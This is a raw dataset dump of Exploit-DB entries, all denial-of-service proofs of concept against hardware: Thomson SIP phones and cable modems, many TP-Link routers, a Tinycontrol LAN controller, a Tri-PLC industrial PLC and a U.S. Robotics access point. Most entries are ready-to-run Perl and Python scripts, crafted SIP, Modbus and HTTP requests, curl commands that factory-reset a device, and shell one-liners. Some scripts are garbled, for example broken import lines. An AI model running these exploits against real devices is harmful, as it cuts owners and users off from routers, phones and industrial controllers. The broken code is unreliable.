deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30538
Description: Thomson SpeedTouch 2030 - SIP Empty Message Remote Denial of Service
Type: dos
Platform: hardware
Date: 2007-08-28
Author: Humberto J. Abdelnur

Exploit:
source: https://www.securityfocus.com/bid/25464/info

Thomson SpeedTouch 2030 is prone to a denial-of-service vulnerability because the device fails to handle specially crafted SIP INVITE messages.

Exploiting this issue allows remote attackers to cause the device to stop responding, thus denying service to legitimate users. 

#!/usr/bin/perl

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);



$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);



$msg = "";

$socket->send($msg);
Exploit-DB #4319
Description: Thomson SpeedTouch ST 2030 (SIP Phone) - Remote Denial of Service
Type: dos
Platform: hardware
Date: 2007-08-27
Author: MADYNES

Exploit:
#!/usr/bin/perl

#Vulneravility for Thomson 2030 firmware v1.52.1

#It provokes a DoS in the device.

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);

 
$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);
 

$msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.2;branch=00\r\nFrom: <sip:tucu\@192.168.1.2>;tag=00\r\nTo: <A15+-97:=:\%0B>;tag=00\r\nCall-ID: humbol\@192.168.1.2\r\nCSeq: 1 INVITE\r\n\r\n";

$socket->send($msg);

# milw0rm.com [2007-08-27]
Exploit-DB #30530
Description: Thomson SpeedTouch ST 2030 (SIP Phone) - SIP Invite Message Remote Denial of Service
Type: dos
Platform: hardware
Date: 2007-08-27
Author: Humberto J. Abdelnur

Exploit:
source: https://www.securityfocus.com/bid/25446/info

Thomson SpeedTouch 2030 is prone to a denial-of-service vulnerability because the device fails to handle specially crafted SIP INVITE messages.

Exploiting this issue allows remote attackers to cause the device to stop responding, thus denying service to legitimate users.

This issue affects Thomas SpeedTouch 2030 firmware 1.52.1; other versions may also be affected. 

!/usr/bin/perl

#Vulnerability for Thomson 2030 firmware v1.52.1

#It provokes a DoS in the device. 

 

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);

 

$msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia:
SIP/2.0/UDP\\192.168.1.2;branch=00\r\nFrom: Caripe
<sip:caripe\@192.168.1.2>;tag=00\r\nTo:
<sip:$ARGV[2]\@$ARGV[0]>;tag=00\r\nCall-ID: caripe\@192.168.1.2\r\nCSeq: 2
INVITE\r\n\r\n";

$socket->send($msg);
Exploit-DB #25124
Description: Thomson TCW690 Cable Modem ST42.03.0a - GET Denial of Service
Type: dos
Platform: hardware
Date: 2005-02-19
Author: MurDoK

Exploit:
source: https://www.securityfocus.com/bid/12595/info

Thomson TCW690 cable modem is reported prone to multiple remote vulnerabilities. These issues may allow an attacker to cause a denial of service condition and/or gain unauthorized access to the device.

The following specific issues were identified:

The device is reported prone to a partial denial of service condition that results from a boundary condition error. Reportedly, a successful attack can cause the device to fail to process requests for a limited period of time. This issue may be related to BID 9091 (Thomson Cable Modem Remote Denial Of Service Vulnerability).

Another vulnerability affecting the modem can allow attackers to gain unauthorized access to the device. It is reported that the device does not properly verify users' authentication credentials when handling an HTTP POST request.

Thomson TCW690 with firmware version ST42.03.0a is reported vulnerable to these issues. It is possible that other versions are affected as well. 

http://www.example.com/AAAA[about 2000 A's]AAA
Exploit-DB #51730
Description: Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Denial Of Service
Type: dos
Platform: hardware
Date: 2023-10-09
Author: LiquidWorm

Exploit:
Exploit Title: Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Denial Of Service
Exploit Author: LiquidWorm

Vendor: Tinycontrol
Product web page: https://www.tinycontrol.pl
Affected version: <=1.58a, HW 3.8

Summary: Lan Controller is a very universal
device that allows you to connect many different
sensors and remotely view their readings and
remotely control various types of outputs.
It is also possible to combine both functions
into an automatic if -> this with a calendar
when -> then. The device provides a user interface
in the form of a web page. The website presents
readings of various types of sensors: temperature,
humidity, pressure, voltage, current. It also
allows you to configure the device, incl. event
setting and controlling up to 10 outputs. Thanks
to the support of many protocols, it is possible
to operate from smartphones, collect and observ
the results on the server, as well as cooperation
with other I/O systems based on TCP/IP and Modbus.

Desc: The controller suffers from an unauthenticated
remote denial of service vulnerability. An attacker
can issue direct requests to the stm.cgi page to
reboot and also reset factory settings on the device.

Tested on: lwIP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5785
Advisory ID: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5785.php


18.08.2023

--


$ curl http://192.168.1.1:8082/stm.cgi?eeprom_reset=1 # restore default settings
$ curl http://192.168.1.1:8082/stm.cgi?lk3restart=1   # reboot controller
Exploit-DB #11043
Description: Total MultiMedia Features - Sony Ericsson Phones Denial of Service (PoC)
Type: dos
Platform: hardware
Date: 2010-01-06
Author: Aodrulez

Exploit:
Total Multimedia Features DoS PoC for Sony Ericsson Phones.
(Should work on almost all of their Models)
By Aodrulez.

   In Sony Ericsson phones(tested on w800i,k750i,w810i),
if you simply rename a File with a ".sest" extension,
it achieves "System" File status.This file can't be deleted,
nor renamed or edited by any means By the Phone.The only way
to remove or rename those files is to connect the phone to 
your Personal Computer & then rename them.
	Folders such as Images Folder,Videos Folder etc,if
renamed in Foldername.sest format, then this folder attains
System Folder status, & no matter how many files are present
in it, they become totally invisible.When you try to open these
folders in the phone, it says "No Files in this folder" even when
in reality files are present in it.
	Using this Vulnerability, you can totally disable all the
Multimedia features of these phones.
	J2me applications are capable of causing this Filesystem DoS
effect.A PoC of this DoS Function, is the "VooDoo" function of my
J2me File protection application "The Messiah" that am attaching.

------------------------------------------------------------------
Greetz Fly out to:
1]LiquidWorm.
2]Amforked().
3]www.Orchidseven.com
4]www.isac.org.in
------------------------------------------------------------------
By:
	   Aodrulez,
   www.OrchidSeven.com,
   aodrulez.blogspot.com.
Email : f3arm3d3ar@gmail.com

===============
Download
===============
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11043.rar (Sony_Ericsson.rar)
Exploit-DB #48255
Description: TP-Link Archer C50 3 - Denial of Service (PoC)
Type: dos
Platform: hardware
Date: 2020-03-26
Author: thewhiteh4t

Exploit:
# Exploit Title: TP-Link Archer C50 3 - Denial of Service (PoC)
# Date: 2020-01-25
# Exploit Author: thewhiteh4t
# Vendor Homepage: https://www.tp-link.com/
# Version: TP-Link Archer C50 v3 Build 171227
# Tested on: Arch Linux x64
# CVE: CVE-2020-9375
# Description: https://thewhiteh4t.github.io/2020/02/27/CVE-2020-9375-TP-Link-Archer-C50-v3-Denial-of-Service.html

import time
import socket

ip = '192.168.0.1'
port = 80

print('[+] IP   : ' + ip)
print('[+] Port : ' + str(port))

for i in range(2):
	time.sleep(1)
	try:
		print('[+] Initializing Socket...')
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.settimeout(5)
		print('[!] Connecting to target...')
		s.connect((ip, port))
		header = 'GET / HTTP/1.1\r\nHost: {}\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0\r\nReferer: thewhiteh4t\r\n\r\n'.format(ip)
		header = header.encode()
		print('[!] Sending Request...')
		s.sendall(header)
		print('[!] Disconnecting Socket...')
		s.close()
		if i == 1:
			print('[-] Exploit Failed!')
			break
	except Exception as e:
		if 'Connection refused' in str(e):
			print('[+] Connection Refused...Exploit Successful!')
			break
		else:
			print('[-] Exploit Failed!')
			break
Exploit-DB #40910
Description: TP-LINK TD-W8151N - Denial of Service
Type: dos
Platform: hardware
Date: 2016-12-13
Author: Persian Hack Team

Exploit:
# Exploit Title: TP-LINK TD-W8151N - Denial of Service
# Date: 2016-12-13
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba MobhaM
# Home : http://persian-team.ir/
# Tested on: Windows AND Linux
# Demo : https://www.youtube.com/watch?v=WrGgHvhiCGg

POC : 

flagFresh Parameter Vulnerable

POST /Forms/status_1 HTTP/1.1
Host: 192.168.1.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://192.168.1.1/status.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Cookie: sessionid=13df8bc9; Language=en; C0=%00; C1=%00

flagFresh=0

Request : 

POST /Forms/status_1 HTTP/1.1
Host: 192.168.1.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://192.168.1.1/status.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Cookie: sessionid=13df8bc9; Language=en; C0=%00; C1=%00

flagFresh=0&1 and benchmark(20000000%2csha1(1))--=1
Exploit-DB #40886
Description: TP-LINK TD-W8951ND - Denial of Service
Type: dos
Platform: hardware
Date: 2016-12-07
Author: Persian Hack Team

Exploit:
# Exploit Title: TP-LINK TD-W8951ND - Denial of Service
# Date: 2016-12-07
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba MobhaM 
# Tested on: Windows AND Linux
# Demo Construction : https://youtu.be/7mv_rW3mtVE

#!/usr/bin/python
import urllib

site=raw_input("Enter IP Address : ")
if (site.find('http://')<0):
    strh = "http://"
    url=strh+site
else:
    url=site

try:
    url += "/Forms/status_1?flagFresh=0&1 and benchmark(20000000%2csha1(1))--=1"
    r = urllib.urlopen(url)
    print r.code
    print "Done!!"
except:
    pass
Exploit-DB #35345
Description: TP-Link TL-WR740N - Denial of Service
Type: dos
Platform: hardware
Date: 2014-11-24
Author: LiquidWorm

Exploit:
TP-Link TL-WR740N Wireless Router MitM httpd Denial Of Service


Vendor: TP-LINK Technologies Co., Ltd.
Product web page: http://www.tp-link.us

Affected version:

- Firmware version: 3.17.0 Build 140520 Rel.75075n (Released: 5/20/2014)
- Firmware version: 3.16.6 Build 130529 Rel.47286n (Released: 5/29/2013)
- Firmware version: 3.16.4 Build 130205 Rel.63875n (Released: 2/5/2013)
- Hardware version: WR740N v4 00000000 (v4.23)
- Model No. TL-WR740N / TL-WR740ND

Summary: The TL-WR740N is a combined wired/wireless network connection
device integrated with internet-sharing router and 4-port switch. The
wireless N Router is 802.11b&g compatible based on 802.11n technology
and gives you 802.11n performance up to 150Mbps at an even more affordable
price. Bordering on 11n and surpassing 11g speed enables high bandwidth
consuming applications like video streaming to be more fluid.

Desc: The TP-Link WR740N Wireless N Router network device is exposed to a
denial of service vulnerability when processing a HTTP GET request. This
issue occurs when the web server (httpd) fails to handle a HTTP GET request
over a given default TCP port 80. Resending the value 'new' to the 'isNew'
parameter in 'PingIframeRpm.htm' script to the router thru a proxy will
crash its httpd service denying the legitimate users access to the admin
control panel management interface. To bring back the http srv and the
admin UI, a user must physically reboot the router.

Tested on: Router Webserver


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5210
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5210.php


13.11.2014

---


Replay

GET /userRpm/PingIframeRpm.htm?ping_addr=zeroscience.mk&doType=ping&isNew=new&lineNum=1 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/PingIframeRpm.htm?ping_addr=zeroscience.mk&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Exploit-DB #29919
Description: TP-Link TL-WR740N / TL-WR740ND 150M Wireless Lite N Router - HTTP Denial of Service
Type: dos
Platform: hardware
Date: 2013-11-30
Author: Dino Causevic

Exploit:
# Exploit title: 150M Wireless Lite N Router HTTP DoS
# Date: 28.11.2013
# Exploit Author: Dino Causevic
# Hardware Link: http://www.tp-link.com/en/products/details/?model=TL-WR740N
# Vendor Homepage: http://www.tp-link.com/
# Contact: dincaus (packetstormsecurity.com)
# CVE:
# Firmware Version:	3.12.11 Build 120320 Rel.51047n
# ===================================================================================================
#   Just execute Python script below
# ===================================================================================================

# Usage: python TP_Link_DoS.py <IP> <Port>

# 150M Wireless Lite N Router, Model No. TL-WR740N / TL-WR740ND sending HTTP request with the headers inserted 
# below in the script will crash HTTP Server. 

#!/usr/bin/python
import socket
import import
sys urllib2

host = ""
port = 0
if(len(sys.argv) >= 2):
    host = sys.argv[1]
    port = sys.argv[2]
else:
    print "Invalid number of the arguments."
    print "Usage <server> <port>"
    exit(1)
    
    
print "Connecting on ",host,":",port

s = socket.socket();
stringOfDeath = "GET / HTTP/1.1\r\n";
stringOfDeath = stringOfDeath + "Accept-Encoding: identity\r\n";
stringOfDeath = stringOfDeath + "Host: "+ host + "\r\n";
stringOfDeath = stringOfDeath + "Connection: close\r\n";
stringOfDeath = stringOfDeath + "User-Agent: PythonLib/2.7\r\n";

s.connect((host,int(port)))

print "Sending packet..."
s.send(stringOfDeath)
print "Packet sent."
print "Check if router http server down..."

try:
    response = urllib2.urlopen("http://"+host+":"+port,None,5)
    response.read()
except socket.timeout:
    print "Timeout occured, http server probaly down."
    exit(1)
Exploit-DB #38483
Description: TP-Link TL-WR741N / TL-WR741ND Routers - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: hardware
Date: 2013-04-19
Author: W1ckerMan

Exploit:
source: https://www.securityfocus.com/bid/59325/info

TP-LINK TL-WR741N and TL-WR741ND routers are prone to multiple denial-of-service vulnerabilities when handling specially crafted HTTP requests.

Successful exploits will cause the device to crash, denying service to legitimate users. 

GET http://www.example.com:80/userRpm/DdnsAddRpm.htm?provider=4 HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://www.example.com/userRpm/DdnsAddRpm.htm?provider=4
Authorization: Basic YWRtaW46YWRtaW4=



GET http://www.example.com:80/help/../../root HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://www.example.com/help/
Exploit-DB #45064
Description: TP-Link TL-WR840N - Denial of Service
Type: dos
Platform: hardware
Date: 2018-07-20
Author: Aniket Dinda

Exploit:
# Exploit Title:- TP-Link Wireless N Router WR840N - Buffer Overflow
# Date:- 2018-07-16
# Vendor Homepage:- https://www.tp-link.com/
# Hardware Link:-  https://www.amazon.in/TP-LINK-TL-WR840N-300Mbps-Wireless-External/dp/B01A0G1J7Q
# Version:- TP-Link Wireless N Router WR840N
# Category:- Hardware
# Exploit Author:-  Aniket Dinda
# Tested on:- Linux
# CVE:- CVE-2018-14336

**********************************************************************************************************
Proof Of Concept:-

1- First connect to this network
2- Open terminal => And Type  "macof -i eth0 -n 10"
3- Hit Enter
4- You will see that your Net connection will lost.
******************************************************************************************************
Solutions:
1- You have to Reboot your router .
Exploit-DB #51561
Description: TP-Link TL-WR940N V4 - Buffer OverFlow
Type: dos
Platform: hardware
Date: 2023-07-03
Author: Amirhossein Bahramizadeh

Exploit:
# Exploit Title: TP-Link TL-WR940N V4 - Buffer OverFlow
# Date: 2023-06-30
# country: Iran
# Exploit Author: Amirhossein Bahramizadeh
# Category : hardware
# Dork : /userRpm/WanDynamicIpV6CfgRpm
# Tested on: Windows/Linux
# CVE : CVE-2023-36355

import requests

# Replace the IP address with the router's IP
router_ip = '192.168.0.1'

# Construct the URL with the vulnerable endpoint and parameter
url = f'http://{router_ip}/userRpm/WanDynamicIpV6CfgRpm?ipStart='

# Replace the payload with a crafted payload that triggers the buffer overflow
payload = 'A' * 5000  # Example payload, adjust the length as needed

# Send the GET request with the crafted payload
response = requests.get(url + payload)

# Check the response status code
if response.status_code == 200:
    print('Buffer overflow triggered successfully')
else:
    print('Buffer overflow not triggered')
Exploit-DB #45168
Description: TP-Link Wireless N Router WR840N - Denial of Service (PoC)
Type: dos
Platform: hardware
Date: 2018-08-08
Author: Aniket Dinda

Exploit:
# Exploit Title:- TP-Link Wireless N Router WR840N - Denial of Service (PoC)
# Date: 2018-08-05
# Vendor Homepage: https://www.tp-link.com/
# Hardware Link:  https://www.amazon.in/TP-LINK-TL-WR840N-300Mbps-Wireless-External/dp/B01A0G1J7Q
# Version: TP-Link Wireless N Router WR840N
# Category: Hardware
# Exploit Author:  Aniket Dinda
# Tested on: Windows 10
# Web: https://hackingvila.wordpress.com
# CVE: N/A

# Proof Of Concept:

1- First connect to this network.
2- Open BurpSuite and then start the intercept, making the necessary proxy changes to the internet browser.
3- Go to Quick setup. 
4- Now as the Burp is intercept is on, you will find an Authorization: Basic followed by a string. 
5- Now we paste a string consisting of 2000 zeros.
6- Then forward the connection.
7- Then your router automatically logout and net connection will be gone.

You have to reboot your router before it becomes available again.
Exploit-DB #45203
Description: TP-Link WR840N 0.9.1 3.16 - Denial of Service (PoC)
Type: dos
Platform: hardware
Date: 2018-08-16
Author: Aniket Dinda

Exploit:
# Exploit Title: TP-Link WR840N 0.9.1 3.16 - Denial of Service (PoC)
# Exploit Author:  Aniket Dinda
# Date: 2018-08-05
# Vendor Homepage: https://www.tp-link.com/
# Hardware Link:  https://www.amazon.in/TP-LINK-TL-WR840N-300Mbps-Wireless-External/dp/B01A0G1J7Q
# Version: TP-Link Wireless N Router WR840N
# Firmware version :  0.9.1 3.16 v0001.0 Build 170608 Rel.58696n
# Category: Hardware
# Tested on: Windows 10
# CVE: CVE-2018-15172

# Proof Of Concept:

1- First connect to this network
2- Open BurpSuite and then start the intercept, making the necessary proxy changes to the internet browser.
3- Goto Quick setup > 
4- Now as the Burp is intercept is on, you will find an Authorization: Basic followed by a string. 
5- Now we paste a string consisting of 2000 zeros.
6- Then forward the connection
7- Then your router automatically logout and net connection will be gone.
Exploit-DB #26802
Description: Tri-PLC Nano-10 r81 - Denial of Service
Type: dos
Platform: hardware
Date: 2013-07-13
Author: Sapling

Exploit:
# Exploit Title: Tri-PLC Nano-10 DoS
# Date: 07/11/2013
# Exploit Author: Sapling
# Vendor Homepage: www.tri-plc.com
# Version: Firmware Version r81 and prior
# CVE : CVE-2013-2784
# ICSA: ICSA-13-189-02

/* The vulnerability exists due to a flaw in the PLC's ability to handle a
Modbus packet with the bit quantity of coils set to 0. When sending this
malformed packet the device crashes and fails to recover without manual
intervention. Once an engineer manually reboots the device it will recover
from the crash. In order to minimize the risk of this attack the Modbus
access control list can be used to limit the ip addresses that can connect
to the device. Additionally, limiting this device to segmented internal
networks is advised and blocking port TCP 502 at the gateway.
Note: I believe the device is also vulnerable to the same vulnerability
when executing write's as well but as most write functions are going to be
limited on devices or at least more so than reads would be.
Finally, I take no responsibility for the how or where you use this proof
of concept code and remind you to be responsible. */


# Python proof of concept
# For those more interested in the value meanings:
# Starting form the \x06 bit and down being the more important pieces
# \x06 length
# \x01 unit id
# \x01 function code (read coils)
# \x00\x00 start address
# \x00\x00 coil quantity


import sys
import socket

new = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
new.connect(('192.168.1.12', 502)) #Change the IP address to your PLC IP
Address
new.send('\x00\x01\x00\x00\x00\x06\x01\x01\x00\x00\x00\x00')
Exploit-DB #24344
Description: U.S. Robotics USR808054 Wireless Access Point - Web Administration Denial of Service
Type: dos
Platform: hardware
Date: 2004-08-02
Author: Albert Puigsech Galicia

Exploit:
source: https://www.securityfocus.com/bid/10840/info

The USR808054 wireless access point is reported to contain a denial of service vulnerability in its embedded web server.

When malicious requests are received by the device, it will reportedly crash, denying service to legitimate users of the access point.

This issue can be exploited by anybody with network connectivity to the administration HTTP server, no authentication is required.

Version 1.21h of the device was found to be vulnerable, but other versions are also likely affected. Due to the practice of code-reuse in companies, it is also possible that other devices and products have this same flaw.

perl -e '$a = "GET / " . "A"x250 . "\r\n\r\n" ; print $a' | nc ap 80
Exploit-DB #22596
Description: Verilink NetEngine 6100-4 Broadband Router - TFTP Packet Remote Denial of Service
Type: dos
Platform: hardware
Date: 2003-05-08
Author: Lorenzo Cerulli & Fabio Annunziato

Exploit:
source: https://www.securityfocus.com/bid/7575/info

It has been reported that a problem with Verilink broadband routers exists in the handling of TFTP packets. Because of this, an attacker could potentially deny service to legitimate users of the network. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22596.zip